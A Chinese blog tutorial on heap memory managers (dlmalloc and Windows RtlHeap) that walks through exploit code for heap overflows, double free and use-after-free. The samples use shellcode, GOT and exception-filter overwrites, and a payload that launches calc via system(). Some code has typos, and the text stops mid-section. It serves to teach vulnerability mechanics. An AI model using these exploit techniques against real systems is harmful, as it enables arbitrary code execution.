堆与内存分配-zhyjc6's Blog

啰嗦

这篇文章花了我大约一个礼拜的时间来查找资料、构思、撰写，对的就是上一篇文章发出后我第二天就打算研究堆和动态内存的内容了。在写的过程中我越写就越发现这里面的内容真的不少啊，于是我越写越多，最后写完了，12291 字，这是我目前最长的一篇文章了。我不知道这样子好不好，因为长的文章容易让人感到厌倦，我的这篇文章真的太长了，要我现在读一遍我肯定不愿意。但是我又不想把连续的知识分开放在几篇文章里来说明。我的理想状态就是一篇文章就能理清一个知识点的前因后果，它的来历、原理、作用等等。

前言

为什么我们需要动态内存分配？

很多时候经常是程序运行后才知道某些数据结构的大小，例如动态数组。当然我们也可以使用最简单的方法，也就是静态定义，那么数组的大小就是硬编码的。这就带来一个问题，每次需要更大数组的时候我们就需要更改硬编码的值然后再重新编译程序。对于一个简单的示例程序来说这根本不是问题，但是对于拥有百万行代码和大量使用者的大型软件产品而言，这将是一场维护的噩梦。

什么是堆？

栈上的数据都是临时数据，在函数返回时就会被释放掉，所以无法将数据传递至函数外部；全局变量能够解决这个问题，但是全局变量没有办法动态地产生，只能在编译之前定义，这在很多情况下是缺乏表现力的。

堆是一块巨大的内存空间，常常占据整个虚拟空间的绝大部分。堆中的内存由动态内存分配器或内存管理器管理的，如Doug Lea的malloc（简称为dlmalloc ）和微软的RtlHeap(rtl 代表运行时库，runtime library)

动态内存分配器？

动态内存分配器（dynamic memory allocator）将堆视为一组不同大小的块（block）的集合来维护。每个块就是一个连续的虚拟内存片（chunk），要么是已分配的，要么就是空闲的。

在大多数操作系统中，包括POSIX系统和Windows系统，内存管理器作为客户进程的一部分运行。分配给客户进程的内存，以及供内部使用而分配的内存，全部位于客户进程的可寻址内存空间内。内存管理器可以被静态链接在可执行文件中，也可以在运行时确定。至于使用哪些内存管理器，没有规定，你甚至可以自己编写！

分配器有两种基本风格。两种风格都要求应用显式地分配块，不同之处就在于由哪个实体来负责释放已分配的块。

显式分配器（explicit allocator）要求应用显式地释放任何已分配的块。例如，C标准库提供一种叫做malloc程序包的显式分配器。C程序通过调用malloc函数来分配一个块，通过调用free函数释放一个块。C++中的new和delete操作与C中的malloc和free相当。
隐式分配器（implicit allocator）总是监测一个已分配块何时不再被程序所使用，然后释放这个块。意思就是当一个程序不再使用该块时，分配器会检测到，然后释放该块。隐式分配器也叫做垃圾收集器（garbage collector），而自动释放未使用的已分配块的过程叫做垃圾收集（garbage collection）。例如Lisp、ML以及Java之类的高级语言就依赖垃圾收集来释放已分配的块。

这里我们主要介绍两种显式分配器：Doug Lea的malloc（简称为dlmalloc ）和微软的RtlHeap.

Doug Lea的malloc

基础知识

GNU C库和大多数Linux版本都是将Doug Lea的malloc（dlmalloc）作为malloc的默认原生版本。Doug Lea独立地发布了dlmalloc，其他一些人对其做了修改并用作GNU libc的分配器。结果导致了GNU libc的分配器程序可能落后于当前版本的dlmalloc数年。

本文描述dlmalloc 2.7.2 版的内部结构（假定环境是英特尔架构和32位寻址（x86-32）），误用dlmalloc时可能会导致的安全缺陷，以及这些缺陷可能被如何利用的例子。

内存块结构

空闲块以双链表的形式组织起来。一个空闲块包含指向下一块的前向指针和指向上一块的后向指针。一个空闲块的最后4字节存有该块的大小，从而使相邻的空闲块得以合并以避免出现内存碎片。

已分配块和空闲块都使用一个PREV_INUSE位区分。由于块大小总是偶数，那么低位就无意义。这样就允许PREV_INUSE位被存储于块大小的低位中。如果PREV_INUSE未置位（为0），则该块大小的前面4个字节就包含上一块的大小，并且可被用于查找上一块的头部。

空闲块被组织成环形双链表，称为筐（bin）或者空闲双向链表（freelist），每个双链表有一个头（head，可看作只有两个指针的空闲块），它包含指向列表的第一个和最后一个块的前向指针和后向指针。当列表是空的时候，头指针引用头本身。

每个筐容纳有特定大小（或一定大小范围）的空闲块，这样便于迅速找到一个大小符合的块。对较小的块而言，筐中所有的块大小都相同；随着块大小的增加，筐中的块就具有不同的大小，并依照块的大小降序排列。类似于下面这张图片。

数组free有128个元素，每一个都是一个筐。每个筐中存放不同大小的内存块。

刚开始应该只有双向链表free[0]有数据，此时的内存块都是比较大块的。free数组其它的元素都为空。当第一个内存块被释放，其会被放进对应其大小的free[i](筐)中，这过程中内存块可能会与其相邻的内存块合并。当用户不断地申请、释放内存后，free数组中其它元素就不再为空了。

还有一个包含最近释放的块的筐（缓存筐）作为缓存，该筐中的内存块在被转移到常规筐之前有一次被重新分配的机会。也就是说free掉的内存块不再是直接放入对应的free[i]双向链表中，而是先放入一个缓存筐。

在调用free()操作过程中内存块可能会被合并。如果被释放的块上一块或下一块是空闲块，则该空闲块会从双链表中解开，与被释放的块合并。合并所得的“大块”被放到合适的筐中。

Unlink 宏

#define unlink(P, BK, FD) {	\
	FD = P->fd;	\ P是头指针，指向上一块的最后4个字节
	BK = P->bk;	\ 
	FD->bk = BK;	\ 
	BK->fd = FD;	\ 
} 

unlink 宏用于从一个双链表中移除一个块。当内存被合并或者一个块因为被分配给用户而从空闲链表中解开时，就会用到这个宏。

使用unlink宏移除一个块

工作流程：首先指针P指向需要解开（unlink）的块

第一步，给FD赋值使其指向链表中的下一块
第二步，给BK赋值使其指向链表中的上一块
第三步，前向指针FD用BK取代指向链表中下一个块的后向指针
第四步，后向指针BK用FD取代指向链表中前一个块的前向指针

unlink技术是解链，frontlink技术则相反，它是将一个释放的内存块放到一个筐中，即将其接入存放空闲块的双向链表。

frontlink代码段

BK = bin;
FD = BK->fd;
if (FD != BK) {
       while (FD != BK && S < chunksize(FD)) {  //按块大小逆序排序
           FD = FD->fd;
     }
     BK = FD->bk;
}
P->bk = BK;
P->fd = FD;		//双重释放时前向指针自引用
FD->bk = BK->fd = P		//双重释放时后向指针自引用

对堆中的缓冲区溢出利用往往比栈更困难一些。然而，现在已经有一些众所周知的利用动态内存管理的常见编程缺陷进行攻击的技术，它们用起来也很容易。例如，缓冲区溢出可被用于破环内存管理器所使用的数据结构从而能够执行任意的代码。下面介绍缓冲区溢出漏洞和双重释放漏洞。

缓冲区溢出漏洞

解链技术最早由Solar Designer提出。被成功地用来攻击多个版本的Netscape浏览器、traceroute和slocate这些使用了dlmalloc的程序。unlink技术被用于利用缓冲区溢出来操纵内存块的边界标志，以欺骗unlink宏向任意位置写入4字节数据。

漏洞代码

 #include <stdlib.h>
 #include <string.h>
 int main(int argc, char *argv[]) {
	char *first, *second, *third;
 	first = malloc(666);	//3次malloc内存是连续的
 	second = malloc(12);	//
	third = malloc(12);
 	strcpy(first, argv[1]); //无界strcpy容易引发缓冲区溢出
 	free(first); 
	free(second); 
	free(third); 
	return(0); 
 }

由于第二个内存块的边界标志紧挨第一块内存分配，因此在字符串长度超过first的长度时，这个边界标志可能被覆写。

在参数复制后，程序调用free函数释放了第一块的内存。

在调用free的过程中，如果第二块内存处于未分配状态（空闲），那么free函数会试图将其从空闲双向链表中“扯“下来与第一块合并。而为了判断第二块内存是否处于空闲状态，free函数会检查第三块内存的PREV_INUSE标志位。第三块内存的位置等于第二块内存的大小加上其起始地址（这里可利用）。

正常情况下，由于第二块内存尚未被释放，第三块内存的PREV_INUSE被置位，因此第一块和第二块内存没有合并，如图：

但是，攻击者可以覆写与第二块内存关联的边界标志，因为这个边界标志紧挨着第一个块的结束位置，如图4.8所示。第一个块的大小（672字节）是所请求的666字节加上用于存储块大小的4字节，再向上舍入到下一个8字节的倍数的结果。

图4.9展示了一个可以用来覆写第二块内存的边界标志的恶意参数。该参数会覆写第二块内存中表示上一块内存大小的的域、第二块内存的大小的值以及前向指针和后向指针，从而也就修改了free函数的行为。

把第二块内存的块大小值覆写为-4，当free函数需要确定第三块内存的位置时，会将第二块内存的起始地址加上其块大小（即起始地址-4），Doug Lea的malloc此时就会错误地认为下一连续内存块（第三块）是自第二块内存块前面4字节起。即free函数已经把第二块内存块当作第三块内存块了。而第二块内存块已经被我们构造的恶意参数所覆盖。

由于第二块的PREV_INUSE标志位已经被恶意参数置为空，所以free函数认为第三块的标志位为空，从而认为第二块内存是未分配的，导致free函数调用unlink宏来合并第一块和第二块内存。

图4.10展示了调用unlink宏时第二块内存的内容。

#define unlink(P, BK, FD) {	
	FD = P->fd;	//P->fd已由恶意参数覆盖
	BK = P->bk;	//P->bk已由恶意参数覆盖
	FD->bk = BK;//将FD+12的地址处的内容改写为BK
	BK->fd = FD;//将BK+8的地址处的内容改写为FD（如果BK为shellcode起始地址，那么shellcode的第9-12字节已经被覆写为FD）
} 
/*结构中bk的偏移为12，fd的偏移为8字节*/

很明显，unlink宏将攻击者提供的4个字节的数据写入到同样是由攻击者指定的4个字节的地址处。OK，现在攻击者已经达到任意地址写了，怎么利用？

攻击者可能会提供栈中指令指针的地址，然后利用unlink()宏将该地址覆写为恶意代码的地址
将漏洞程序调用的函数的地址替换为恶意代码的地址

难点

对堆缓冲区溢出的利用并不是特别困难的事，最困难之处在于确定第一块内存的大小，以便精确覆写第二块内存的起始位置。

攻击者可以从dlmalloc中复制request2size(req, nb)宏的代码到其利用代码中，然后使用这个宏计算出块的大小。（这一块我没有研究）

双重释放漏洞

双重释放漏洞（double free）顾名思义，就是由于对同一块内存释放两次所造成的（在两次释放之间没有对内存进行重新分配）

漏洞利用条件比较苛刻

被释放的内存块必须在内存中独立存在。也就是说其相邻的内存块必须是已分配的，这样就不会发生合并操作了
该内存所被放入的筐必须为空（第一个free的一定是放到空的筐里）

图4.11展示了一个空的筐和一个已分配的内存块。空筐的前向指针和后向指针都是自引用的

当已分配的内存块被free释放后，必须被链接到适当的双链表中。在dlmalloc的一些版本中，这是由frontlink代码段执行的，frontlink代码段在合并相邻内存块（如果能合并的话）后执行。存储在双链表中的块按大小降序排列。

调用frontlink代码段后，筐的前向指针和后向指针引用这个被释放的块，并且这个块的前向和后向指针也引用这个筐。这是预期的行为，因为我们现在有一个包含此空闲块的空链表。

但是，如果P所引用的内存块被第二次释放，该数据结构就会被破坏：筐的前向和后向指针仍然引用这个块，但是块的前向指针和后向指针却变成自引用了（这时候你应该回忆一下frontlink代码段了）。

如果用户请求一个与这个自引用块大小相同的内存块，则内存分配器将试图从这个筐中分配一块内存。由于筐的前向指针仍然指向内存块，因此该内存块可以被找到并且返回给用户。然而，当调用unlink宏从筐中移除内存块时并不会移除该内存块（回忆一下unlink代码段？）。因为该内存块的前向指针后后向指针都是自引用的，所以unlink对该内存块无效，该内存块永远不会被移除！

结果，如果再请求分配一块相同大小的内存块，将再次返回该内存块给用户。一旦数据结构被以这种方式破坏，malloc就可以被利用去执行任意代码了（利用unlink解链技术）

一个简化的例子

static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3.   "\xeb\x0cjump12chars_"    /* jump */
 4.   "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7.   int size = sizeof(shellcode);
 8.   void *shellcode_location;
 9.   void *first, *second, *third, *fourth;
  void *fifth, *sixth, *seventh;
  shellcode_location = (void *)malloc(size);
  strcpy(shellcode_location, shellcode);
  first = (void *)malloc(256);
  second = (void *)malloc(256);
  third = (void *)malloc(256);
  fourth = (void *)malloc(256);
  free(first);		//初次释放，进入缓存筐
  free(third);		//third进入缓存筐，first也在
  fifth = (void *)malloc(128);		//third从缓存筐中被取出128字节，first被送入普通筐
  free(first);		//重复释放
  sixth = (void *)malloc(256);		//此时sixth和first指向的是同一块内存
  *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);	//用户数据区第一个4字节	
  *((void **)(sixth+4))=(void *)shellcode_location;	//用户数据区第二个4字节
  seventh = (void *)malloc(256);		//会调用unlink宏
  strcpy(fifth, "something");
  return 0;
} 

当first被初次释放时(17行)，它被放入一个缓存筐而不是普通筐中。释放third块会将first块移到一个普通筐中。对second和fourth块的分配，可以阻止first块与third块的合并。第19行分配fifth块会造成内存从third块处分开，作为一个副作用，还会导致first块被转移到一个普通筐中（由于缓存筐中唯一的一次重分配的机会已经过去了）。到这里内存的环境已经配置成功。

因此对first的二次释放（第20行）构成双重释放漏洞。当第21行分配sixth块时，malloc所返回的指针与first所指向的内存块相同。strcpy函数的got地址减去12（还记得上面的unlink技术嘛）以及外壳代码（shellcode）位置被复制到这块内存中（第22-23行），然后在第24行相同的内存块被再一次分配给seventh块。这一次，当内存块被分配后，unlink宏将外壳代码(shellcode)的地址复制到全局偏移表中strcpy函数的地址处，并且覆写了外壳代码开头的几个字节。

当第25行调用strcpy时，程序的控制权就被转移到了外壳代码(shellcode)

这些漏洞比较难以利用，因为它需要很精确的内存配置并且利用的细节因堆的不同实现而不同。

大多数现代堆管理器实现了安全解链，通过增加检查确保双链表不变的方法，间接解决了双重释放的可利用性。在断开连接前检查这些不变使得可以尽早检测到数据结构的损坏。然而，双重释放在编程中仍然必须避免！

写入已释放的内存

当一个内存被释放后，如果不把其指针置为NULL，那么该内存是被系统回收了，但是其指针仍然指向该内存，此时的指针就称为野指针。如果再向该指针写入数据，就会引发任意地址写的漏洞。

覆写释放的内存漏洞

 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3.   "\xeb\x0cjump12chars_"     /* jump */
 4.   "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7.   int size = sizeof(shellcode);
 8.   void *shellcode_location;
 9.   void *first, *second, *third, *fourth;
10.   void *fifth, *sixth, *seventh;
11.   shellcode_location = (void *)malloc(size);
12.   strcpy(shellcode_location, shellcode);
13.   first = (void *)malloc(256);
14.   second = (void *)malloc(256);
15.   third = (void *)malloc(256);
16.   fourth = (void *)malloc(256);
17.   free(first);
18.   free(third);
19.   fifth = (void *)malloc(128);		//设置初始条件
20.   *((void **)(first+0))=(void *)(GOT_LOCATION-12);
21.   *((void **)(first+4))=(void *)shellcode_location;
22.   sixth = (void *)malloc(256);		//覆写
23.   strcpy(fifth, "something");		//触发
24.   return 0;
25. } 

上面的程序与双重释放漏洞代码如出一辙。不过这个程序没有两次释放，而是在释放first块（17行）后，又在第20、21行对该块进行了写入操作。后续过程与双重释放完全一样，如果看不懂，回到上面复习双重释放漏洞吧！

微软的RtlHeap

Windows的堆是内存中一个神秘、耐人寻味的地方。因为微软并没有完全公开其操作系统中堆管理的细节。

微软操作系统堆管理机制的发展大致可以分为3个阶段：

Windows 2000 ~ Windows XP SP1:堆管理系统只考虑了完成分配任务和性能因素，丝毫没有考虑安全因素，容易被攻击者利用。
Windows XP SP2 ~ Windows 2003：加入了安全因素。比如修改了块首的格式并加入安全cookie，双向链表结点在删除时会做指针验证等。攻击者需利用一些高级攻击技术才可能攻击成功。
Windows Vista ~ Windows 7：不论在堆分配效率上还是安全性与稳定性上，都是堆管理算法的一个里程碑。

操作系统一般会提供一套 API 把复杂的堆管理机制屏蔽掉。因此，如果不是技术狂热者，普通的程序员是没有必要知道堆分配细节的。

图4.14展示了五套Win32内存管理API，其中每一套都被设计为可以独立于其它套而单独使用。

虚拟内存API

Windows NT采用的是基于页的32位线性寻址虚拟内存系统。在系统内部，内存被分成4096（4K）字节进行管理，每一段称为一页（page）。Win32中的虚拟内存管理函数允许用户在Windows NT中直接操纵虚拟内存。每一个进程的用户地址空间被划分为保留的（reserved）、提交的（committed）或空闲的（free）虚拟地址的内存区域。一个区域（region）是一个连续的地址范围，其中保护方式、类型以及每个地址的基分配方式都是完全相同的。

虚拟内存函数都是底层函数，相对而言效率更高但缺乏很多高级特性，这里不做深入了解。

堆内存API

堆内存API允许用户通过调用HeapCreate()建立多个动态堆。用户必须指定堆的最大尺寸，以便函数知道需要保留多大地址空间。HeapCreate()函数为每一个堆都返回唯一的句柄作为标识。每一个进程都有一个默认堆。Win32子系统利用默认堆来实现所有的全局和局部的内存管理函数，C运行时（C runtime，CRT）库则使用默认堆来支持malloc函数。GetProcessHeap()函数可以用于返回默认堆的句柄。

局部和全局内存API

为了向后兼容于Windows 3.1，Win32 仍然提供了局部和全局的内存管理函数。Windows内存管理系统并没有提供单独的局部堆和全局堆。

CRT内存函数

在Win32之前，Windows上使用C运行时库来管理内存总让人觉得不放心和不可靠。Win32的C运行时库使用于全局和局部内存管理函数一样的默认堆管理器来实现，并可以安全地用于管理堆内存，尤其当关注可移植性的时候。

内存映射文件API

内存映射文件允许一个应用程序将其虚拟地址空间直接映射到磁盘上的一个文件。一旦一个文件被内存映射，对其内容的存取就变成对一个指针解引用的问题了。

回到正题

RtlHeap数据结构

RtlHeap是Windows操作系统的内存管理器，是Windows上大多数应用层的动态内存管理的心脏。RtlHeap像大多数软件一样会持续更新，不同的Windows版本通常都有不同的RtlHeap实现，它们的行为稍有不同。要想理解误用内存管理API如何导致软件漏洞的发生，首先需要理解Win32中为了支持动态内存管理所使用的一些内部数据结构，包括进程环境块，空闲链表、备用链表（或者快表，look-aside）以及内存块的结构等。

进程环境块PEB

RtlHeap数据结构的相关信息被存储在进程环境块（Process Environment Block,PEB）中。PEB结构为每一个进程维护全局变量。PEB被每一个进程的线程环境块（Thread Environment Block,TEB）所引用，而TEB则被fs寄存器所引用：

在Windows XP SP2之前的Windows操作系统中，PEB存在于系统中每个进程的固定地址0x7FFDF000处。只有当系统被配置成为用户模式应用程序保留3GB地址空间而不是默认的2GB的时候，PEB才处于该默认地址处。

PEB给出堆数据结构的信息:

堆的最大数量
堆的实际数量
默认堆的位置
一个指向包含所有堆位置的数组的指针

PEB中堆相关数据结构之间的关系如图4.15所示

空闲链表

在堆起始地址（也就是调用HeapCreate()返回的地址）偏移0x178处的地方有一个包含128个元素的数组FreeList[],这个数组中每一个元素都指向一个双向链表，这些链表被RtlHeap用来跟踪空闲内存块。

FreeListp[]是一个LIST_ENTRY结构的数组，每一个LIST_ENTRY表示一个双链表的头部。LIST_ENTRY结构定义于winnt.h中，由一个前向链接（flink）和一个后向链接（blink）组成。每一个链表管理特定大小的空闲块，块大小等于其数组索引乘以8个字节。如FreeList[100]中存储的就是大小为800字节的空闲块。但是FreeList[0]是一个例外，它包含的是那些比1024大同时又比虚拟内存分配临界值小的空闲块，且空闲块从小到大依次排列。

当创建一个新堆时，空闲链表被初始化为空（此时前向和后向链接都指向链表头）。当从堆中分配了第一个内存块后，情况就发生了变化。页中未分配的内存以及那些没有被用作堆控制结构的内存就被加入空闲列表。

图4.16展示了运行时的FreeList[]数据结构：

该数据结构所代表的堆包含8个空闲块。其中2个空闲块是16字节长由存储于FreeList[2]中的链表维护；2个48字节长的空闲块由FreeList[6]维护；剩下的4个空闲块比1024大，由FreeList[0]维护，并且按大小升序排列。

快表

快表（look-aside list）是 Windows 用来加速堆块分配而采用的一种堆表。这里之所以把它叫做“快表”是因为这类单向链表中从来不会发生堆块合并（其中的空闲块块首被设置为占用态，用来防止堆块合并）

快表也有 128 条，组织结构与空表类似，只是其中的堆块按照单链表组织。快表总是被初始化为空，而且每条快表最多只有 4 个结点，故很快就会被填满。

内存块

调用HeapAlloc()或malloc()所返回的内存块的控制结构或边界标志如图所示：

这个结构位于HeapAlloc()所返回的地址之前，偏移量为8个字节。busy标志用于指示该内存处于已分配还是空闲状态。

用户调用free()或HeapFree()释放的那些内存被加入到具有相对应大小的内存块的空闲链表中。下图为空闲块结构：

很明显结构中多了8个字节，其实这8个字节是由HeapAlloc()返回的用户可寻址内存的前8个字节。调用HeapFree()后会在用户空间的这8个字节中写入下一块和上一块的地址（前向指针和后向指针），同时还会清空标志域中的忙碌位。

Windows 把内存块按照大小分为三类：

小块：SIZE<1KB
大块：1KB≤SIZE<512KB
巨块：SIZE≥512KB

对应的分配和释放算法也有三类，我们可以通过表 5-1-2 来理解 Windows 的堆管理策略。

堆分配函数之间的调用关系

Windows 平台下的堆管理架构可以用图 5.2.1 来概括。

Windows 中提供了许多类型的堆分配函数，您可以在 MSDN 中找到这些函数的详细说明。它们之间的关系如图 5.2.2 所示。

所有的堆分配函数最终都将使用位于 ntdll.dll 中的 RtlAllocateHeap()函数进行分配，这个函数也是在用户态能够看到的最底层的堆分配函数。所谓万变不离其宗，这个“宗”就是 RtlAllocateHeap()。因此，研究 Windows 堆只要研究这个函数即可。

缓冲区溢出

基于堆的漏洞利用通常需要改写双链表结构中的前向和后向指针，然后在正常的堆处理过程中对修改过的链表结构进行操作（如unlink解链操作），能够导致对地址的覆写，从而劫持程序流程转而执行攻击者提供的代码。

漏洞代码如下

 1. unsigned char shellcode[] = "\x90\x90\x90\x90";
 2. unsigned char malArg[] = "0123456789012345"   
		"\x05\x00\x03\x00\x00\x00\x08\x00"       
		"\xb8\xf5\x12\x00\x40\x90\x40\x00";//前后向指针

 3. void mem() {
 4.   HANDLE hp;
 5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;
 6.   hp = HeapCreate(0, 0x1000, 0x10000);			
 7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);		
 8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);		  
 9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);		  
10.   HeapFree(hp,0,h2); 
11.   memcpy(h1, malArg, 32); 	
12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 
13.   return;
14. }

15. int _tmain(int argc, _TCHAR* argv[]) {
16.   mem();
17.   return 0; 
18. }

第6行调用HeapCreate()创建了一个新的堆，堆初始大小为0x1000,最大大小为0x10000。建立一个新堆是为了我们更确切地了解堆中的变化。第7~9行分配了3个不同大小的内存块，它们一定是连续的，因为此时没有合适大小的空闲块可用。第10行释放h2导致在已分配内存中打开了一个缺口，然后这个内存块被加入到空闲链表中，这也意味着其数据块起始8个字节（前后向指针）被指向128字节内存块的空闲链表头部的前向和后向指针所替代，且忙碌标志位被清空。第11行代码发生缓冲区溢出，malArg的起始16个字节覆写了用户数据区，剩余的16个字节依次覆写了空闲块的边界标志和前后向指针。其中前向指针覆写的是目标地址（这里是栈中的一个返回地址）-4；后向指针覆写的是外壳代码（shellcode）的地址。第12行调用HeapAlloc()，由于此次申请的内存块大小和上一个空闲块大小相同，所以RtlHeap就从空闲链表中“卸下”该内存块给h4。在卸下内存块的过程中RtlHeap也会有类似glmalloc中的unlink解链函数（推测代码一样，只是P指向的不是头而是数据区起始处），就是通过调用这种函数，返回地址就被改写成了外壳代码的地址。当mem()函数在17行返回时，程序的控制权就转移给了外壳代码。

这种利用存在弊端，因为在第12行调用HeapAlloc()时会调用相应的解链函数（回忆一下unlink），这就会导致外壳代码的起始4个字节会被返回地址\xb8\xf5\x12\x00所覆写。这就造成了一个令攻击者无法忽视也无法迂回解决的问题，因为程序的控制权会转移到这个地址，所以该地址必须是可执行的。只要这段代码不引起程序的致命错误，它具体完成什么功能通常无关紧要。但是要找到这样的地址通常需要付出大量的试验和失败。

缓冲区溢出（终极版）

上面演示的低配版需要一个苛刻的地址，现在我们有另一种更简单通用的办法：通过改写一个异常处理器的地址然后触发异常。

漏洞代码

	int mem(char *buf) {
  		HLOCAL h1 = 0, h2 = 0;
  		HANDLE hp;
  		hp = HeapCreate(0, 0x1000, 0x10000);	
  		if (!hp) return -1;
   		h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);	
  		strcpy((char *)h1, buf); 			
  		h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
  		printf("we never get here");
  		return 0;
	}

	int main(int argc, char *argv[]) {
  		HMODULE l;
  		l = LoadLibrary("wmvcore.dll");
  		buildMalArg();
  		mem(buffer);   
  		return 0;
		}

漏洞代码第7行发生缓冲区溢出，第4行创建了一个堆，第6行分配了一个单独的内存块。这一次在h1内存的首尾分别有一个段头（segment header）和一个段尾（segment trailer）。当h1在第7行溢出时，段尾被覆写，包括FreeList[0]的LIST_ENTRY结构。

下图是调用HeapAlloc()后堆的组织形式

变量h1指向0x00ba0688（用户内存的起始地址）。实际的用户空间全部被0x61填充以区分其它内存。由于264才是8的倍数，所以内存管理器会多分配4个字节。这些字节的值仍然是0x00，跟在8字节的边界标志后的是指向FreeList[0]的前向指针（flink)和后向指针(blink)，地址分别为0x00ba0798和0x00ba079c。这些指针都可以通过调用第7行的strcpy函数而被覆写，从而将程序控制权转移到外壳代码。

看了上面的代码你可能会有一些疑惑，buildMalArg()哪来的，buffer在哪？为了叙述更方便，我把这一段代码放到了下面：

 char buffer[1000]="";
 void buildMalArg() {
      int addr = 0, i = 0;
      unsigned int systemAddr = 0;
      char tmp[8]="";
      systemAddr = GetAddress("msvcrt.dll","system");
      for (i=0; i < 66; i++) strcat(buffer, "DDDD");
      strcat(buffer, "\xeb\x14");
      strcat(buffer, "\x44\x44\x44\x44\x44\x44");
      strcat(buffer, "\x73\x68\x68\x08");
      strcat(buffer,"\x4c\x04\x5d\x7c");
      for (i=0; i < 21; i++) strcat(buffer,"\x90");
      strat(buffer,   "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
      fixupaddresses(tmp, systemAddr);
      strcat(buffer,tmp);
      strcat(buffer,"\xFF\xD1\x90\x90");
      return;
}

代码第7行是一个填充264字节的循环，刚好覆写了内存块h1。第10、11行覆写前后向指针。其中前向指针被控制权将要转移到的地址所取代，后向指针则被将要被覆写的内存地址所取代（这个前后向覆写根据情况而定）。

攻击者可以不覆写栈上的返回地址，而是覆写一个异常处理程序（exception handler）的地址。这样做可以肯定下一次对堆的存取会引发异常，因为溢出已经覆写了堆中的控制结构。

攻击者可以将异常处理器的地址覆写为普通函数指针。如果没有指定异常处理程序，那么将会调用每一个线程和进程的顶层异常处理程序（top-level exception handler）。该异常处理程序可以在应用程序中通过SetUnhandledExceptionFilter()函数重新进行设置。下面是该函数的汇编代码

[ SetUnhandledExceptionFilter(myTopLevelFilter); ]
mov         ecx, dword ptr [esp+4] 
mov         eax, dword ptr ds:[7C5D044Ch] 
mov         dword ptr ds:[7C5D044Ch], ecx 
ret         4

这个函数只是简单地将现有的未处理的异常过滤器（unhandled exception filter）地地址替换成由用户提供的地址。通过反汇编代码容易看出该异常过滤器的地址为0x7C5D044C，小端格式为\x4c\x04\x5d\x7c，这就是我们将要覆写的异常处理器的地址，由第11行代码覆写为后向指针。

这样一旦缓冲区溢出并且触发了异常，程序的控制权就被转移到用户指定的地址而不是未处理异常的过滤器处。

使用跳板

正常来说，用来覆写前向指针的地址就是外壳代码的地址。但是因为RtlHeap接下来会覆写外壳代码的起始4个字节，所以对于攻击者而言，更容易地办法就是采用一个跳板（trampoline），将程序地控制权间接的转移到外壳代码。

挑战允许在不知道外壳代码的绝对地址的情况下将程序的控制权转移到外壳代码处

可以通过寄存器来实现。例如当调用异常处理程序时，未处理的异常过滤器以一个指向EXCEPTION_POINTERS结构的指针传入。在执行时寄存器esi包含这个结构的地址。在esi偏移0x4c字节处就是一个回指到外壳代码缓冲区的地址，那么我们就可以由它提供跳板。当执行call dword ptr[esi+0x4c]时，程序控制权就会转移到外壳代码。

如何寻找跳板？

可以通过检查程序的映像或动态链接库静态地进行定位
也可以通过加载库并搜索内存动态地定位

这两种方法都要求熟悉PE（Portable Executable）文件格式。

写入已释放的内存

漏洞代码

 1. typedef struct _unalloc {
 2.   PVOID fp;
 3.   PVOID bp;
 4. } unalloc, *Punalloc;

 5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";
 6. int _tmain(int argc, _TCHAR* argv[]) {
 7.   Punalloc h1;
 8.   HLOCAL h2 = 0;
 9.   HANDLE hp;
10.   hp = HeapCreate(0, 0x1000, 0x10000);
11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
12.   HeapFree(hp, 0, h1);
13.   h1->fp = (PVOID)(0x042B17C - 4); 
14.   h1->bp = shellcode;
15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
16.   HeapFree(hp, 0, h2);
17.   return 0;
18. }

代码第10行建立了一个0x1000字节的堆，第11行从该堆中分配了一个32字节的内存块给h1，然后第12行就被释放了。释放h1后，它被放入一个空闲块大小为32字节的空闲列表中。其数据区的前8个字节分别为前后向指针，由于链表中只有其一个空闲块，所以其前后向指针都指向的是链表头。在这个例子中，前向指针将被待覆写的地址-4所取代，后向指针则将被外壳代码的地址所取代。

第13、14行就是利用原来的指针h1覆写前后向指针。第15行又申请了一个和h1同样大小的内存块，毫无疑问，这将导致直接从空闲链表中分配。即原来的h1又会从空闲链表中取下来，这过程中会用到类似于unlink的解链函数，这就导致了HeapFree的地址被外壳代码所覆写。

因此当第16行调用HeapFree时，其实调用的是外壳代码，从而将程序的控制权转移到外壳代码。

双重释放

Rtl的双重释放比较悬（后面你就会发现了），因为微软没有公布Rtl的具体实现，我们只能通过不断调试去发现问题。

下面是一个针对于Windows 2000平台的双重释放漏洞程序

char buffer[1000] = "";
int main(int argc, char *argv[]) {
HANDLE hp;
HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9;

hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
memset(h1, 'a', 16);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
memset(h2, 'b', 16);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
memset(h3, 'c', 32);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
memset(h4, 'd', 16);
h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8)
memset(h5, 'e', 8);
HeapFree(hp, 0, h2); 
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h3);
h6 = HeapAlloc(hp, 0, 64);
memset(h6, 'f', 64);
strcpy((char *)h4, buffer);
h7 = HeapAlloc(hp, 0, 16);
printf("Never gets here.\n”);
}

漏洞代码第7~16行分配了5个内存块h1、h2、h3、h4、h5。第17行释放了h2，第18行释放了h3，并企图在第19行再次释放h3。

下图展示了代码第17行释放了h2之后的堆的状态

